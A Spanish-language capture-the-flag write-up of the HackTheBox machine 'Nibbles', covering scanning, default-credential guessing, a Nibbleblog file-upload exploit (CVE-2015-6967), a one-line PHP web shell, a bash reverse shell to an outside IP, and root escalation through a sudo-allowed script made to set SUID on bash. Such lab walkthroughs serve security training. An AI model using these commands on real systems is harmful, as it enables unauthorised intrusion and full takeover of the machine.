Nibbles

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 13 Enero 2018 | mrb3n8132 |
Reconocimiento
Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n 10.10.10.75 -oN scan -vvv
Enumeración de servicios
Código fuente:
Blog
Vemos que se esta ejecutando una instancia del CMS Nibble.
Si hacemos un poco de web fuzzing, encotramos algunas rutas interesantes.
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php --no-error
Entre estas rutas, se encuentra update.php
. Si ingresamos a esta, nos encontramos con lo siguiente:
Donde se revela la versión del CMS Nibbleblog 4.0.3
.
Explotación inicial
Haciendo una búsqueda en Google, encontramos que esta versión especifica es vulnerable a Arbitrary File Upload (CVE-2015-6967)
.
Arbitrary File Upload (CVE-2015-6967)
Descargamos el siguiente exploit:
git clone https://github.com/dix0nym/CVE-2015-6967
Para poder ejecutar el exploit, necesitamos credenciales validas, por lo que seguimos enumerando:
Teniendo en cuenta el fuzzing anterior accedemos al admin.php:
Probamos credenciales por defecto:
admin:admin
admin:password
admin:root
root:root
admin:nibbles OK
admin:nibbles
Ahora que tenemos credenciales validas ejecutamos el exploit.
# shell.php
<?php sysytem($_GET['cmd']);
python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php
Para ejecutar nuestra shell, debemos acceder a:
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
Y luego ya podemos ejecutar comandos:
Nos ponemos en escucha con netcat por el puerto 80.
Nos enviamos una reverse shell.
bash -c "bash -i >& /dev/tcp/10.10.14.3/443 0>&1"
Ganamos acceso al sistema.
Enumeración / Movimiento lateral
Leemos la flag del user.txt
.
Vemos que en el home de nuestro usuario nibbler
existe un archivo .zip llamado personal.zip
.
Hacemos un unzip
del archivo, el cual genera el directorio personal
.
Dentro encontramos una carpeta llamada stuff
y dentro de esta un script monitor.sh
.
Si ejecutamos un sudo -l
, podemos observar que podemos ejecutar como root
y sin solicitar contraseña el script monitor.sh
.
Elevación de privilegios
Para escalar nuestros privilegios, modificaremos el script monitor.sh para asignar permisos SUID a el binario bash.
Ejecutamos el script.
sudo -u root /home/nibbler/personal/stuff/monitor.sh
Y de esta forma, escalamos nuestros privilegios.
Por ultimo, leemos la flag de
root.txt